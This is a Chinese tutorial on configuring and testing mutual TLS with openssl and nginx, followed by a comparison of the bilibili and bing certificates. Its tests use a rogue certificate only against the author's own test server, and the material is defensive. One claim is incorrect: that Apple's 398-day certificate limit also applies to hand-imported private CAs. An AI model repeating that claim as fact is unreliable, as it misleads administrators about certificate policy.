root@master01:/data/mtls# openssl x509 -in client.crt -noout -ext extendedKeyUsage | tail -1
    TLS Web Client Authentication

root@master01:/data/mtls# openssl x509 -in server.crt -noout -purpose | grep "^SSL"
SSL client : No
SSL client CA : No
SSL server : Yes                # <- 只能当服务端
SSL server CA : No

root@master01:/data/mtls# openssl x509 -in client.crt -noout -purpose | grep "^SSL"
SSL client : Yes                # <- 只能当客户端
SSL client CA : No
SSL server : No
SSL server CA : No

root@master01:/data/mtls# openssl verify -auth_level 1 -x509_strict -CAfile ca.crt server.crt
server.crt: OK
root@master01:/data/mtls# openssl verify -auth_level 1 -x509_strict -CAfile ca.crt client.crt
client.crt: OK

客户端证书的 keyUsage 不要写 keyEncipherment 。客户端证书只用来签 CertificateVerify ,只需要 digitalSignature 。

一个 CA 还是两个 CA?

上面让服务端和客户端共用一个 CA,最省事,内网够用。但要清楚它的含义: ssl_client_certificate 指定的 CA 能签发的 任何 证书都会被接受为合法客户端 —— 包括那张服务端证书(如果它带了 clientAuth 的话,这正是本文一直建议 服务端证书只写 serverAuth 的原因之一)。

安全要求高的场景用 两个独立的 CA :

# server-ca.crt 只签服务端证书,发给客户端用于验服务端
# client-ca.crt 只签客户端证书,放在服务端用于验客户端
# nginx: ssl_certificate         = server.crt(由 server-ca 签)
#        ssl_client_certificate  = client-ca.crt

这样即使客户端 CA 私钥泄露,攻击者也伪造不出服务端证书,反之亦然。

openssl 实测握手

部署到 nginx 之前,先用 s_server / s_client 把证书本身验通,能省掉大量排查。

关键:=-Verify= 单独用会给出假阳性

这一条务必先看,否则你的测试结果是假的:

# A) 只给 -Verify,拿一张【别的CA签的】客户端证书去连
root@master01:/data/mtls# openssl s_server -cert server.crt -key server.key \
      -accept 4433 -www -CAfile ca.crt -Verify 1 &
root@master01:/data/mtls# curl -sS -o /dev/null -w "rc=%{http_code}\n" \
      --cacert ca.crt --cert rogue.crt --key rogue.key https://app1.jasper.org:4433/
rc=200                            # <- 放行了!服务端只在日志里打了一行 verify error

# B) 加上 -verify_return_error,同样的野证书
root@master01:/data/mtls# openssl s_server -cert server.crt -key server.key \
      -accept 4433 -www -CAfile ca.crt -Verify 1 -verify_return_error &
root@master01:/data/mtls# curl -sS -o /dev/null --cacert ca.crt \
      --cert rogue.crt --key rogue.key https://app1.jasper.org:4433/
curl: (56) OpenSSL SSL_read: error:0A000418:SSL routines::tlsv1 alert unknown ca

s_server 的校验回调默认 只打印错误、不中断连接 。 -verify_return_error 才让校验失败真正变成致命错误。 自测 mTLS 时漏掉它,会得到"我的访问控制生效了"的错觉。

-verify N 和 -Verify N 也要分清:

选项 含义
-verify N 索要客户端证书,但 不给也放行 (对应 nginx optional )
-Verify N 索要客户端证书, 不给就断 (对应 nginx on )
N 校验链的最大深度
# 实测 -verify(小写) 的放行行为
root@master01:/data/mtls# openssl s_server ... -CAfile ca.crt -verify 1 &
root@master01:/data/mtls# curl -sS -o /dev/null -w "不带证书: rc=%{http_code}\n" \
      --cacert ca.crt https://app1.jasper.org:4433/
不带证书: rc=200
三种情况的实测对照

服务端统一用这条命令启动:

openssl s_server -cert server.crt -key server.key -accept 4433 -www \
        -CAfile ca.crt -Verify 1 -verify_return_error
########## 1 客户端带正确证书 -> 成功 ##########
root@master01:/data/mtls# openssl s_client -connect 127.0.0.1:4433 \
      -CAfile ca.crt -cert client.crt -key client.key -brief </dev/null
CONNECTION ESTABLISHED
Protocol version: TLSv1.3
Ciphersuite: TLS_AES_256_GCM_SHA384
Peer certificate: C=CN, ST=beijing, L=beijing, O=ops, OU=it, CN=app1.jasper.org
Hash used: SHA256
Signature type: rsa_pss_rsae_sha256
Verification: OK
Negotiated TLS1.3 group: X25519MLKEM768
DONE

########## 2 客户端不带证书 -> 失败 ##########
root@master01:/data/mtls# openssl s_client -connect 127.0.0.1:4433 -CAfile ca.crt -brief </dev/null
CONNECTION ESTABLISHED
Verification: OK
...error:0A00045C:SSL routines:ssl3_read_bytes:tlsv13 alert certificate required:
   ...:SSL alert number 116
# 服务端日志:
...error:0A0000C7:SSL routines:tls_process_client_certificate:peer did not return a certificate:

########## 3 客户端带别的CA签的证书 -> 失败 ##########
# 服务端日志:
verify error:num=20:unable to get local issuer certificate
verify error:num=21:unable to verify the first certificate
# 客户端(curl):
curl: (56) OpenSSL SSL_read: error:0A000418:SSL routines::tlsv1 alert unknown ca

两个值得注意的现象:

  1. 情况 2、3 里客户端都先打印了 CONNECTION ESTABLISHED 和 Verification: OK , 然后才失败 。这是 TLS 1.3 的特性:客户端发完自己的证书就认为握手完成了, 服务端的拒绝以 alert 形式在 第一次读数据时 才到达。 所以排查 mTLS 问题 一定要看服务端日志 ,客户端侧的现象具有迷惑性。
  2. 情况 1 协商出的组是 X25519MLKEM768 —— 两端都是 OpenSSL 3.5, 默认就用上了后量子混合密钥交换(见「openssl 证书命令详解」的 PQC 一节)。
curl 直连验证
root@master01:/data/mtls# curl -sS -o /dev/null -w "rc=%{http_code} verify=%{ssl_verify_result}\n" \
      --cacert ca.crt --cert client.crt --key client.key https://app1.jasper.org:4433/
rc=200 verify=0

root@master01:/data/mtls# curl -sS -o /dev/null --cacert ca.crt https://app1.jasper.org:4433/
curl: (56) OpenSSL SSL_read: error:0A00045C:SSL routines::tlsv13 alert certificate required

不要用 curl -k 测 mTLS 。 -k 跳过的是"客户端验服务端"这一半, 用了它就只测到了双向认证的一半,而且会把服务端证书本身的问题(过期、SAN 不对)掩盖掉。 正确做法是 --cacert ca.crt ,或者把 CA 装进系统信任库(见「建立私有CA」的信任一节)后直接访问。

nginx 配置双向认证

以下配置在 ubuntu2604 上用 nginx/1.28.3 实跑验证过,各种场景的实测结果见本节末尾。

server {
    listen 443 ssl;
    http2 on;
    server_name app1.jasper.org;

    # --- 服务端身份(单向认证部分) ---
    ssl_certificate     /data/mtls/server.crt;
    ssl_certificate_key /data/mtls/server.key;
    ssl_protocols       TLSv1.2 TLSv1.3;

    # --- 双向认证部分 ---
    ssl_client_certificate /data/mtls/ca.crt;   # 用哪个 CA 验客户端证书
    ssl_verify_client      on;                  # on=强制 / optional=可选 / off=关闭
    ssl_verify_depth       2;                   # 允许的客户端证书链深度
    ssl_crl                /data/mtls/crl.pem;   # 吊销列表,已吊销的客户端证书会被拒

    location / {
        # 把客户端证书信息透传给后端,业务侧据此做授权
        proxy_set_header X-SSL-Client-Verify  $ssl_client_verify;   # SUCCESS / FAILED / NONE
        proxy_set_header X-SSL-Client-DN      $ssl_client_s_dn;     # 客户端证书 subject
        proxy_set_header X-SSL-Client-Serial  $ssl_client_serial;
        proxy_pass http://127.0.0.1:8080;   # 换成你的后端
    }
}

ssl_verify_client 三个取值:

取值 行为
off 不索要客户端证书(默认,就是普通 HTTPS)
optional 索要;给了就验,验不过断开;*不给也放行* 。配合 $ssl_client_verify 在应用层决定
on 索要;不给或验不过都直接断开

optional 的典型用法是"有证书的走特权路径,没证书的走普通路径":

ssl_verify_client optional;

location /admin/ {
    if ($ssl_client_verify != SUCCESS) { return 403; }
    proxy_pass http://127.0.0.1:8080;
}

注意 optional_no_ca 是另一个东西:它索要证书但 不验证书链 , 只把证书透传给后端自己判断,用于"CA 不在 nginx 手上"的场景,不要和 optional 混用。

改完先 nginx -t 再 systemctl reload nginx 。

实测结果(nginx/1.28.3 on ubuntu2604)

后端用一个明文 8080 的 server 块把透传过来的头原样打回,便于观察:

server {
    listen 8080;
    location / {
        default_type text/plain;
        return 200 "backend ok\nverify=$http_x_ssl_client_verify\ndn=$http_x_ssl_client_dn\n";
    }
}
########## ssl_verify_client on ##########
root@master01:/data/mtls# curl -sS --cacert ca.crt --cert client.crt --key client.key \
      https://app1.jasper.org/
backend ok
verify=SUCCESS
dn=CN=client01,OU=it,O=ops,L=beijing,ST=beijing,C=CN
serial=3B851C40DE0156C95BAF7AC68C50E5944729C6B0

root@master01:/data/mtls# curl -sS --cacert ca.crt https://app1.jasper.org/
<html>
<head><title>400 No required SSL certificate was sent</title></head>

root@master01:/data/mtls# curl -sS --cacert ca.crt --cert rogue.crt --key rogue.key \
      https://app1.jasper.org/
<html>
<head><title>400 The SSL certificate error</title></head>

########## ssl_verify_client optional ##########
root@master01:/data/mtls# curl -sS --cacert ca.crt https://app1.jasper.org/
backend ok
verify=NONE                      # <- 放行了,但业务侧知道"这个请求没带证书"
dn=

root@master01:/data/mtls# curl -sS --cacert ca.crt --cert rogue.crt --key rogue.key \
      https://app1.jasper.org/
<html>
<head><title>400 The SSL certificate error</title></head>
# optional 只放行"完全不给证书";给了但验不过照样拒

########## optional + /admin/ 特权路径 ##########
不带证书 /admin/  -> 403
带证书   /admin/  -> 200
不带证书 /        -> 200

########## ssl_crl:吊销 client01 之后 ##########
root@master01:/data/mtls# openssl ca -config ca.cnf -revoke client.crt -crl_reason superseded
Revoking Certificate 3B851C40DE0156C95BAF7AC68C50E5944729C6B0.
Database updated
root@master01:/data/mtls# openssl ca -config ca.cnf -gencrl -out crl.pem
root@master01:/data/mtls# systemctl reload nginx
root@master01:/data/mtls# curl -sS --cacert ca.crt --cert client.crt --key client.key \
      https://app1.jasper.org/
<html>
<head><title>400 The SSL certificate error</title></head>

汇总:

ssl_verify_client 客户端证书 结果
on 正确 200, $ssl_client_verify = SUCCESS
on 不给 HTTP 400 No required SSL certificate was sent
on 别的 CA 签的 HTTP 400 The SSL certificate error
optional 不给 200, $ssl_client_verify = NONE ,DN 为空
optional 正确 200, SUCCESS
optional 别的 CA 签的 HTTP 400 (给了就必须验得过)
任意 + ssl_crl 已吊销 HTTP 400 The SSL certificate error

三个实测出来、光看文档不会知道的点

  1. nginx 是用 HTTP 400 拒绝的,不是 TLS alert 。 前面 s_server 的拒绝表现为 tlsv13 alert certificate required (连接层断开), 而 nginx 会 把 TLS 握手正常做完 ,然后在 HTTP 层返回 400 页面。 所以排查时看到的现象完全不同:nginx 场景下 curl 拿得到 HTTP 响应体, 用 -w '%{http_code}' 就能判断,不需要去解析 TLS alert。
  2. $ssl_client_s_dn 的格式是 RFC2253 反序 : CN=client01,OU=it,O=ops,L=beijing,ST=beijing,C=CN 。 nginx 1.11.6 之前是正序的 /C=CN/ST=beijing/.../CN=client01 , 后端按老格式解析的话升级 nginx 会踩坑(老格式现在是 $ssl_client_s_dn_legacy )。
  3. reload 之后旧 worker 还在处理连接, 改完立刻测可能测到旧配置 。 实测时 ssl_verify_client 从 on 改成 optional 后马上 curl, 拿到的仍是旧的 400;等 worker 换完(或 sleep 2 )再测才是新行为。 自动化脚本里 reload 后要留出时间,否则会得到自相矛盾的测试结果。

客户端接入

curl / wget
curl --cacert ca.crt --cert client.crt --key client.key https://app1.jasper.org/ -I

# 私钥带口令时
curl --cacert ca.crt --cert client.crt --key client.key --pass '口令' https://app1.jasper.org/

# 也可以直接用 p12(curl 7.52+ 且用 OpenSSL 后端时支持)
curl --cacert ca.crt --cert client.p12:123456 --cert-type P12 https://app1.jasper.org/
浏览器:打包成 p12

浏览器不认 .crt + .key 两个文件,要打包成 PKCS#12:

openssl pkcs12 -export -in client.crt -inkey client.key -certfile ca.crt \
        -name "client01@jasper" -out client.p12
# 会提示设置导出口令,导入浏览器时要再输一次。不能留空
root@master01:/data/mtls# openssl pkcs12 -in client.p12 -info -nokeys -passin pass:123456
MAC: sha256, Iteration 2048
MAC length: 32, salt length: 8
    friendlyName: client01@jasper
subject=C=CN, ST=beijing, L=beijing, O=ops, OU=it, CN=client01
subject=C=CN, ST=beijing, L=beijing, O=ops, OU=it, CN=mtls-internal-ca

三个容易踩的点:

  • -certfile ca.crt 把 CA 证书一起打进去,导入时浏览器会顺带拿到整条链,省一步
  • 3.x 生成的 p12 默认用 AES-256 加密。要导入很老的系统(XP / 旧 Java)时才需要 -legacy 退回 RC2/3DES

导入位置:

浏览器 / 系统 位置
Chrome/Edge (Win) 设置 → 隐私和安全 → 安全 → 管理证书 → "个人"选项卡 → 导入
Chrome (Linux) pk12util -d sql:$HOME/.pki/nssdb -i client.p12
Firefox 设置 → 隐私与安全 → 证书 → 查看证书 → "您的证书" → 导入
macOS 双击 client.p12 导入钥匙串

导入后访问站点,浏览器会弹窗让你 选择要出示哪张客户端证书 。

代码
# Python requests
import requests
r = requests.get("https://app1.jasper.org/",
                 cert=("client.crt", "client.key"),   # 客户端证书
                 verify="ca.crt")                      # 验服务端
// Go
cert, _ := tls.LoadX509KeyPair("client.crt", "client.key")
pool := x509.NewCertPool()
pem, _ := os.ReadFile("ca.crt")
pool.AppendCertsFromPEM(pem)
client := &http.Client{Transport: &http.Transport{
	TLSClientConfig: &tls.Config{
		Certificates: []tls.Certificate{cert},
		RootCAs:      pool,
	}}}
# Java:两个 store 分开 —— keystore 放自己的证书,truststore 放对端 CA
keytool -importkeystore -srckeystore client.p12 -srcstoretype PKCS12 \
        -destkeystore client.jks -deststoretype JKS
keytool -importcert -file ca.crt -alias mtls-ca -keystore truststore.jks

java -Djavax.net.ssl.keyStore=client.jks       -Djavax.net.ssl.keyStorePassword=xxx \
     -Djavax.net.ssl.trustStore=truststore.jks -Djavax.net.ssl.trustStorePassword=xxx \
     -jar app.jar

云上负载均衡:华为云 ELB / 阿里云 CLB

云厂商的 HTTPS 监听器把 TLS 卸载在 LB 上,双向认证也在 LB 上配,后端只收明文 HTTP。 要上传的东西是一样的,只是叫法不同:

你手上的文件 华为云 ELB 阿里云 CLB/ALB 对应 nginx 指令
server.crt + server.key 服务器证书 服务器证书 ssl_certificate(_key)
ca.crt CA 证书 CA 证书 ssl_client_certificate
client.p12 (发给调用方) (发给调用方) —

配置步骤(两家一致):

  1. 证书管理 → 创建证书 → 类型选 服务器证书 ,粘贴 server.crt 和 server.key 的内容
  2. 证书管理 → 创建证书 → 类型选 CA 证书 ,粘贴 ca.crt 的内容
  3. 监听器 → 协议选 HTTPS → 绑定上面两张证书 → 开启 双向认证
  4. 把 client.crt / client.key (或 client.p12 )发给调用方

三个云上特有的坑:

  • 证书内容要带 =–—BEGIN/END–— = 完整头尾 ,多余空行和 Windows 换行(CRLF) 会导致导入失败。用 openssl x509 -in server.crt 的输出直接复制最稳妥
  • 私钥必须是未加密的 。带口令的私钥控制台不接受,先解密: openssl pkey -in server.key -out server-plain.key
  • 上传的 CA 证书是用来验客户端的 ,不是服务端证书链。 服务端证书如果有中间 CA,中间证书要 拼在 server.crt 后面 一起上传(叶子在前、中间在后)

验证(把 XXX.XXX.XXX.XXX:PORT 换成 LB 的地址和监听端口):

# 正确做法:--cacert 验服务端,--cert/--key 出示客户端证书
curl --cacert ca.crt --cert client.crt --key client.key \
        https://XXX.XXX.XXX.XXX:PORT/ -I

# 不带客户端证书应当失败,以此确认双向认证真的生效了
curl --cacert ca.crt https://XXX.XXX.XXX.XXX:PORT/ -I

第二条必须测 。只测第一条的话,即使双向认证根本没开也会成功, 你会以为配好了 —— 这是云上配置最常见的误判。

常见报错对照

先分清你面对的是哪一端 —— 同一个原因在 s_server 和 nginx 上表现完全不同:

原因 openssl s_server 的表现 nginx 的表现
客户端没出示证书 tlsv13 alert certificate required (alert 116) HTTP 400 No required SSL certificate was sent
客户端证书 CA 对不上 tlsv1 alert unknown ca (alert 48) HTTP 400 The SSL certificate error
客户端证书过期 / 已吊销 alert certificate expired/revoked HTTP 400 The SSL certificate error

s_server 在 连接层 断开(拿不到 HTTP 响应),nginx 把 TLS 握手做完后在 HTTP 层 返回 400(拿得到响应体)。所以 nginx 场景直接看 curl -w '%{http_code}' 就够了。

完整对照:

报错 / 现象 成因
HTTP 400 No required SSL certificate was sent 客户端没出示证书,而服务端是 ssl_verify_client on
HTTP 400 The SSL certificate error 客户端证书验不过:CA 不对 / 过期 / 在 ssl_crl 里
tlsv13 alert certificate required (alert 116) 同第一条,=s_server= 或非 nginx 服务端的表现
tlsv1 alert unknown ca (alert 48) 同第二条,=s_server= 的表现
服务端日志 peer did not return a certificate 客户端没出示证书,从服务端视角看到的说法
服务端日志 verify error:num=20/21 客户端证书链不完整,或 CA 对不上
浏览器不弹选证书窗口 p12 没导入,或导错了位置("个人 / 您的证书",不是"受信任的根")
配了双向认证但不带证书也能访问 nginx 写成了 optional ;或自测时 s_server 漏了 -verify_return_error
改完配置立刻测,行为和预期相反 nginx reload 后旧 worker 还在服务,等 1~2 秒再测
后端取到的 DN 格式变了 nginx 1.11.6+ 的 $ssl_client_s_dn 是 RFC2253 反序,老格式用 _legacy
客户端证书当服务端证书用,报 unsupported certificate EKU 是 clientAuth ,不能用于 serverAuth
云控制台导入私钥失败 私钥带口令,需先 openssl pkey 解密
curl -k 能通、去掉 -k 就不行 服务端证书本身有问题(SAN / 过期 / CA 未信任),被 -k 掩盖了

排查顺序建议:

# 1 先确认两张证书本身没问题
openssl verify -auth_level 1 -x509_strict -CAfile ca.crt server.crt
openssl verify -auth_level 1 -x509_strict -CAfile ca.crt client.crt

# 2 确认 EKU 分对了
openssl x509 -in server.crt -noout -purpose | grep "^SSL server :"
openssl x509 -in client.crt -noout -purpose | grep "^SSL client :"

# 3 本地用 s_server 复现(务必带 -verify_return_error)
openssl s_server -cert server.crt -key server.key -accept 4433 -www \
        -CAfile ca.crt -Verify 1 -verify_return_error

# 4 看服务端日志,不要只看客户端现象(TLS 1.3 下客户端现象有迷惑性)

实测:bilibili 与 bing 签名算法对比

前面都是自己签证书。这一节反过来,看两家真实站点的证书长什么样 —— www.bilibili.com 和 www.bing.com 的签名算法正好不一样,是个很好的对照。

所有数据都是 2026-09-28 在 ubuntu2604 (OpenSSL 3.5.5) 上实测抓取的 , 命令都在下面,可以自己复现(证书会轮换,具体数值会变,结论不变)。

抓取命令

# 看整条链的概览:每级的 subject/issuer、公钥、签名算法、有效期
openssl s_client -connect www.bilibili.com:443 -servername www.bilibili.com \
        </dev/null 2>/dev/null | head -20

# 只看叶子证书的细节
openssl s_client -connect www.bing.com:443 -servername www.bing.com </dev/null 2>/dev/null \
        | openssl x509 -noout -subject -issuer -serial -dates \
            -ext subjectAltName,keyUsage,extendedKeyUsage,certificatePolicies

# 看握手实际协商的结果(注意这和证书上的签名算法不是一回事,见下)
openssl s_client -connect www.bing.com:443 -servername www.bing.com -brief </dev/null

-servername 就是 SNI,*必须带* 。不带的话共享 IP 的站点会返回默认证书, 你看到的就不是目标站点的证书了。

叶子证书对比

项目 *.bilibili.com www.bing.com
证书签名算法 sha256WithRSAEncryption sha384WithRSAEncryption
公钥算法 rsaEncryption rsaEncryption
公钥长度 2048 bit 2048 bit
签发 CA GlobalSign RSA OV SSL CA 2018 Microsoft TLS G2 RSA CA OCSP 10
主体 O=上海幻电信息科技有限公司 O=Microsoft Corporation
序列号长度 12 字节 19 字节
有效期 2025-11-11 → 2026-12-13 2026-08-28 → 2027-02-24
有效期天数 约 397 天 约 180 天
证书策略 OID 2.23.140.1.2.2 (OV) + GlobalSign CPS 2.23.140.1.2.2 (OV) + 微软 CPS
keyUsage critical: 数字签名, 密钥加密 critical: 数字签名, 密钥加密
EKU serverAuth + clientAuth serverAuth only
SAN 条数 3 条 80+ 条

实际输出:

root@master01:~# openssl s_client -connect www.bilibili.com:443 -servername www.bilibili.com \
      </dev/null 2>/dev/null | openssl x509 -noout -subject -issuer -serial -dates \
        -ext subjectAltName,keyUsage,extendedKeyUsage
subject=C=CN, ST=上海, L=上海, O=上海幻电信息科技有限公司, CN=*.bilibili.com
issuer=C=BE, O=GlobalSign nv-sa, CN=GlobalSign RSA OV SSL CA 2018
serial=458E85C760E665E8D9E4EAEF
notBefore=Nov 11 08:11:28 2025 GMT
notAfter=Dec 13 08:11:27 2026 GMT
X509v3 Key Usage: critical
    Digital Signature, Key Encipherment
X509v3 Subject Alternative Name:
    DNS:*.bilibili.com, DNS:*.bilibili.cn, DNS:bilibili.com
X509v3 Extended Key Usage:
    TLS Web Server Authentication, TLS Web Client Authentication

root@master01:~# openssl s_client -connect www.bing.com:443 -servername www.bing.com \
      </dev/null 2>/dev/null | openssl x509 -noout -subject -issuer -serial -dates
subject=C=US, ST=WA, L=Redmond, O=Microsoft Corporation, CN=www.bing.com
issuer=C=US, O=Microsoft Corporation, CN=Microsoft TLS G2 RSA CA OCSP 10
serial=4900C4893F320CDB488F21EBA1000000C4893F
notBefore=Aug 28 16:15:33 2026 GMT
notAfter=Feb 24 16:15:33 2027 GMT

整条链的签名算法

签名算法是 逐级独立 的 —— 每一级由它的上级签,用什么摘要由上级的 CA 决定。 两家都很整齐地在全链用了同一个摘要:

# www.bilibili.com
  CN=*.bilibili.com                            sha256WithRSAEncryption   RSA 2048
  CN=GlobalSign RSA OV SSL CA 2018             sha256WithRSAEncryption   RSA 2048
  CN=GlobalSign (Root CA - R3)                 sha256WithRSAEncryption   RSA 2048
    └─ 根:GlobalSign Root CA

# www.bing.com
  CN=www.bing.com                              sha384WithRSAEncryption   RSA 2048
  CN=Microsoft TLS G2 RSA CA OCSP 10           sha384WithRSAEncryption   RSA 4096
  CN=Microsoft TLS RSA Root G2                 sha384WithRSAEncryption   RSA 4096
    └─ 根:DigiCert Global Root G2

两处值得注意:

  1. bing 的"根"其实是被交叉签的 。 Microsoft TLS RSA Root G2 是微软自营的根, 但发给客户端的这一张是由 DigiCert Global Root G2 签的版本。 原因是微软自己的根要进入各家操作系统/浏览器的信任库需要多年时间, 交叉签让新根立刻能被所有认识 DigiCert 老根的客户端验通 , 等自营根铺开后再逐步切换。这是新 CA 上线的标准手法。
  2. bing 的中间 CA 和根是 RSA 4096,叶子是 RSA 2048 。 上层长期不换、签名次数少,用长密钥;叶子换得勤、每次握手都要参与运算,用 2048。 这也是本文路线A 里 CA 用 4096、叶子用 2048 的理由。

关键区分:证书签名算法 ≠ 握手签名算法

这是最容易搞混的一点,也是这组对比最有意思的地方。

  • 证书上的 Signature Algorithm * :CA 在 *签发那一刻 用自己的私钥对证书内容签名时用的算法。 写死在证书里,静态不变。bilibili 是 sha256,bing 是 sha384。
  • 握手时的签名 :TLS 握手中服务端要用 自己的私钥 签一个 CertificateVerify 来证明它真的持有证书对应的私钥。用什么算法由客户端的 signature_algorithms 扩展和服务端偏好 当场协商 ,跟证书上写的那个 没有关系 。

实测一下,两家的握手签名完全一样:

root@master01:~# openssl s_client -connect www.bilibili.com:443 \
      -servername www.bilibili.com -brief </dev/null
Protocol version: TLSv1.3
Ciphersuite: TLS_AES_256_GCM_SHA384
Peer certificate: C=CN, ST=上海, L=上海, O=上海幻电信息科技有限公司, CN=*.bilibili.com
Hash used: SHA256
Signature type: rsa_pss_rsae_sha256          # <- 握手签名
Verification: OK
Peer Temp Key: X25519, 253 bits

root@master01:~# openssl s_client -connect www.bing.com:443 \
      -servername www.bing.com -brief </dev/null
Protocol version: TLSv1.2
Ciphersuite: ECDHE-RSA-AES256-GCM-SHA384
Peer certificate: C=US, ST=WA, L=Redmond, O=Microsoft Corporation, CN=www.bing.com
Hash used: SHA256
Signature type: rsa_pss_rsae_sha256          # <- 同样是这个
Verification: OK
Peer Temp Key: ECDH, secp521r1, 521 bits

对照表,把两个"签名算法"摆在一起看就很清楚了:

站点 证书上的签名算法(静态) 握手里的签名算法(协商)
bilibili sha256WithRSAEncryption rsa_pss_rsae_sha256
bing sha384WithRSAEncryption rsa_pss_rsae_sha256

两个结论:

  1. bing 证书上是 sha384,握手却用 sha256 —— 再次说明两者独立。
  2. 两家握手都用 RSA-PSS ( rsa_pss_rsae_sha256 ),而证书上是 PKCS#1 v1.5 ( sha256WithRSAEncryption )。这是两种不同的 RSA 签名填充方案:
    • PKCS#1 v1.5:老方案,无随机性,证书签发仍在大量使用(公共 CA 出于兼容性惯性)
    • RSA-PSS:RFC 8017 的新方案,带随机盐,有可证明安全性。 TLS 1.3 强制要求 CertificateVerify 用 PSS ,TLS 1.2 也优先用它

所以"这个站点用的什么签名算法"这个问题本身是有歧义的,必须问清楚是 证书的 还是 握手的 。排查"签名算法太弱"类问题时,两个都要看。

为什么两家都是 RSA 而不是 ECDSA

先确认一下确实只有 RSA —— 强制客户端只接受 ECDSA 签名,两家都握手失败:

root@master01:~# openssl s_client -connect www.bilibili.com:443 -servername www.bilibili.com \
      -sigalgs 'ECDSA+SHA256:ECDSA+SHA384' </dev/null 2>&1 | grep -i alert
... alert handshake failure ...

root@master01:~# openssl s_client -connect www.bing.com:443 -servername www.bing.com \
      -sigalgs 'ECDSA+SHA256:ECDSA+SHA384' </dev/null 2>&1 | grep -i "Cipher is"
New, (NONE), Cipher is (NONE)                # 握手没建立起来

从性能上看 ECDSA 明显更适合服务端。本机(aarch64)实测:

root@master01:~# openssl speed -seconds 1 rsa2048 ecdsap256
                        sign/s    verify/s
rsa  2048 bits          2093.9     65034.3
ecdsa (nistp256)       43152.5     17040.4
  • 签名 :ECDSA P-256 比 RSA-2048 快 约 20 倍
  • 验签 :RSA-2048 比 ECDSA P-256 快 约 3.8 倍

握手中 服务端做签名、客户端做验签 。所以换成 ECDSA,服务端 CPU 开销大降、 客户端略升 —— 对要扛海量并发握手的大站来说是明显划算的买卖, 证书体积也小得多(P-256 公钥 65 字节 vs RSA-2048 的 270 字节)。

那为什么还用 RSA?就一个原因: 兼容性 。 ECDSA 证书在老 Android(<4.0)、老 Windows XP/IE、部分嵌入式设备和老 Java 上不被支持。 像 bilibili、bing 这种面向全部终端的站点,宁可多花 CPU 也不愿意丢掉长尾客户端。

工程上的标准解法是 双证书 :同一个域名同时配 RSA 和 ECDSA 两张证书, 按客户端 ClientHello 里声明的能力动态选。nginx 1.11+ 直接支持:

ssl_certificate     /etc/nginx/ssl/app1.ecdsa.crt;
ssl_certificate_key /etc/nginx/ssl/app1.ecdsa.key;
ssl_certificate     /etc/nginx/ssl/app1.rsa.crt;     # 多写一组即可
ssl_certificate_key /etc/nginx/ssl/app1.rsa.key;

自己签一张 ECDSA 证书(注意 *不要写 keyEncipherment * ,ECDSA 公钥不能做加密):

openssl genpkey -algorithm EC -pkeyopt ec_paramgen_curve:P-256 -out app1-ec.key
openssl req -new -key app1-ec.key -out app1-ec.csr \
        -subj "/C=CN/ST=beijing/L=beijing/O=ops/OU=it/CN=app1.jasper.org" \
        -addext "subjectAltName=DNS:app1.jasper.org,DNS:*.jasper.org"
openssl x509 -req -in app1-ec.csr -CA ca.crt -CAkey ca.key \
        -copy_extensions copy -days 397 -out app1-ec.crt \
        -extfile <(printf "basicConstraints=critical,CA:FALSE\nkeyUsage=critical,digitalSignature\nextendedKeyUsage=serverAuth\n")

sha256 和 sha384 的实际差别

bilibili 全链 sha256,bing 全链 sha384。结论先行: 实际安全性上没有有意义的差别 。

  • CA/B 论坛基线要求只规定"必须是 SHA-2 及以上",sha256 完全合规, 没有任何浏览器或 TLS 库因为"只是 sha256"而降级或告警
  • SHA-256 的抗碰撞强度是 128 bit,SHA-384 是 192 bit。 128 bit 已经远超任何可预见的攻击能力 —— 真正被淘汰的是 SHA-1(碰撞强度已跌破 63 bit)
  • 证书签名的摘要强度和 密钥 强度不匹配时,短板在密钥:两家都是 RSA-2048, 按 NIST SP 800-57 约等于 112 bit 对称强度,*比两个摘要都弱* 。 也就是说 bing 用 sha384 并没有提升这条链的实际安全水位

bing 用 sha384 更多是 微软 PKI 体系的统一口径 : 它的 Microsoft TLS RSA Root G2 体系整条链(根/中间/叶子)都用 sha384, 内部规范统一比逐级优化更省事,也便于审计。

可以验证一下"短板在密钥"这个说法 —— security level 2 要求 RSA >= 2048, 两家都刚好卡在线上:

# 抓下证书自己验
openssl s_client -connect www.bing.com:443 -servername www.bing.com </dev/null 2>/dev/null \
        | openssl x509 -out /tmp/bing.crt
openssl verify -auth_level 2 -CAfile /etc/ssl/certs/ca-certificates.crt \
        -untrusted /tmp/chain.pem /tmp/bing.crt

安全级别(security level)对照:

级别 最低对称强度 在低一级基础上追加的限制
0 无 什么都允许,仅用于调试或读取历史遗留数据
1 80 bit 禁止 MD5/SHA1 证书签名 ;RSA/DSA/DH >= 1024 位,EC >= 160 位
2 112 bit RSA/DSA/DH >= 2048 位,EC >= 224 位;禁止 RC4 和 SSLv3;关闭压缩
3 128 bit RSA/DSA/DH >= 3072 位,EC >= 256 位;要求前向保密;禁止 TLS<1.1
4 192 bit RSA/DSA/DH >= 7680 位,EC >= 384 位;禁止 SHA1 做 MAC;禁止 TLS<1.2
5 256 bit RSA/DSA/DH >= 15360 位,EC >= 512 位

有效期:397 天 vs 180 天

这是两张证书之间 最有实际意义的差别 :

站点 notBefore notAfter 天数
bilibili 2025-11-11 2026-12-13 约 397
bing 2026-08-28 2027-02-24 约 180

bilibili 那张是 2025 年 11 月签发的,用足了当时 398 天 的上限。 bing 那张是 2026 年 8 月签发的,只有 180 天 —— 已经在按 CA/B 论坛的 证书有效期收缩时间表走了。

公共 TLS 证书最大有效期的演变:

时间 上限 说明
2015 之前 5 年  
2015-04 39 个月  
2018-03 825 天  
2020-09 398 天 Apple 单方面发起,其余浏览器跟进
2026-03-15 200 天 CA/B 论坛 SC-081 决议
2027-03-15 100 天  
2029-03-15 47 天 最终目标

这个趋势对 自建 CA 也有直接影响 :

  • 本文路线A / 路线B 里叶子证书统一用 -days 397 而不是老教程里的 -days 36500 , 就是因为 Apple 平台的 398 天限制 对手动导入信任库的私有 CA 同样生效
  • 有效期越来越短意味着 手工签发不可持续 ,必须上自动化(ACME / cert-manager / Vault)
  • 反过来说,*短有效期正在取代 CRL/OCSP 成为主要的"吊销"手段* —— 47 天的证书,泄露后最多 47 天自动失效,比维护一套吊销基础设施简单得多 (呼应「建立私有CA」吊销与 CRL 一节结尾的那句话)

顺带看到的其他差异

EKU:bilibili 多了 clientAuth
# bilibili
X509v3 Extended Key Usage:
    TLS Web Server Authentication, TLS Web Client Authentication

# bing
X509v3 Extended Key Usage:
    TLS Web Server Authentication

